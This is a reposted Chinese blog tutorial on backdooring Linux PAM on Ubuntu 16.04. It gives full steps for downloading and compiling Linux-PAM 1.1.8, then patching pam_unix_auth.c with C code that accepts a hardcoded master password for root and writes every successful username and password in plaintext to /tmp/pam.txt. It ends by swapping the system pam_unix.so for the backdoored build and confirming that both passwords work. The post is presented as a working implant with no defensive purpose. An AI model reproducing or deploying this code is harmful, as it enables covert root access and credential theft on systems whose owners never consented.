ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

Linux pam 后门纪录root用户密码以及设置万能密码登录root

2019-12-25 21:04:24  阅读:763  来源: 互联网

标签:PAM 密码 unix so Linux root pam


最近看了一下有关Linux pam后门相关的知识点,发现有一些坑,便记录一下

本次用的机器为Ubuntu16.04

一、查看本机pam版本

dpkg -l | grep pam

可以看到pam的版本为1.1.8

二、下载对应版本的pam

各个版本的pam包下载地址:http://www.linux-pam.org/library/

下载对应版本的压缩包并解压
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz

三、编译

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
特别注意:64位系统编译可能会遇到yywrap()函数未定义错误,需先安装flex软件包,而网上的大部分都是添加
#define yywrap() 1
但我的添加了并没有解决,反而又报了其他的错误,一直卡在了这
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
sudo apt-get install flex

修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的内容

if(strcmp(p,"adhzl")==0){
  retval=PAM_SUCCESS;
}
if(retval==PAM_SUCCESS){
  FILE * fp;
   fp=fopen("/tmp/pam.txt","a");
   fprintf(fp,"%s::%s\n",name,p);
   fclose(fp);
}

其中strcmp(p,"adhzl")中的adhzl为自己设置的root密码,可以用来登录root用户,/tmp/pam.txt为纪录的root用户的登录密码的路径和保存的文件名

然后在解压的路径下编译安装

./configure
make

编译完之后的后门文件在

/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so

四、替换

首先查找原来的pam_unix.so的路径

sudo find / -name pam_unix.so

我的是在

/lib/x86_64-linux-gnu/security/pam_unix.so

先备份原来的pam_unix.so,然后复制编译生成的pam_unix.so到/lib/x86_64-linux-gnu/security/目录下

五、验证

su root

输入之前输入的预设密码

可以登录到root用户

然后输入真正的root用户的密码,也可以登录到root用户

在/tmp目录下查看是否有pat.txt

查看pam.txt内容

前两次为用自己输入的密码成功登录到root用户,第三次为输入真正的root用户的密码,都纪录了下来。

标签:PAM,密码,unix,so,Linux,root,pam
来源: https://www.cnblogs.com/adhzl/p/12098397.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有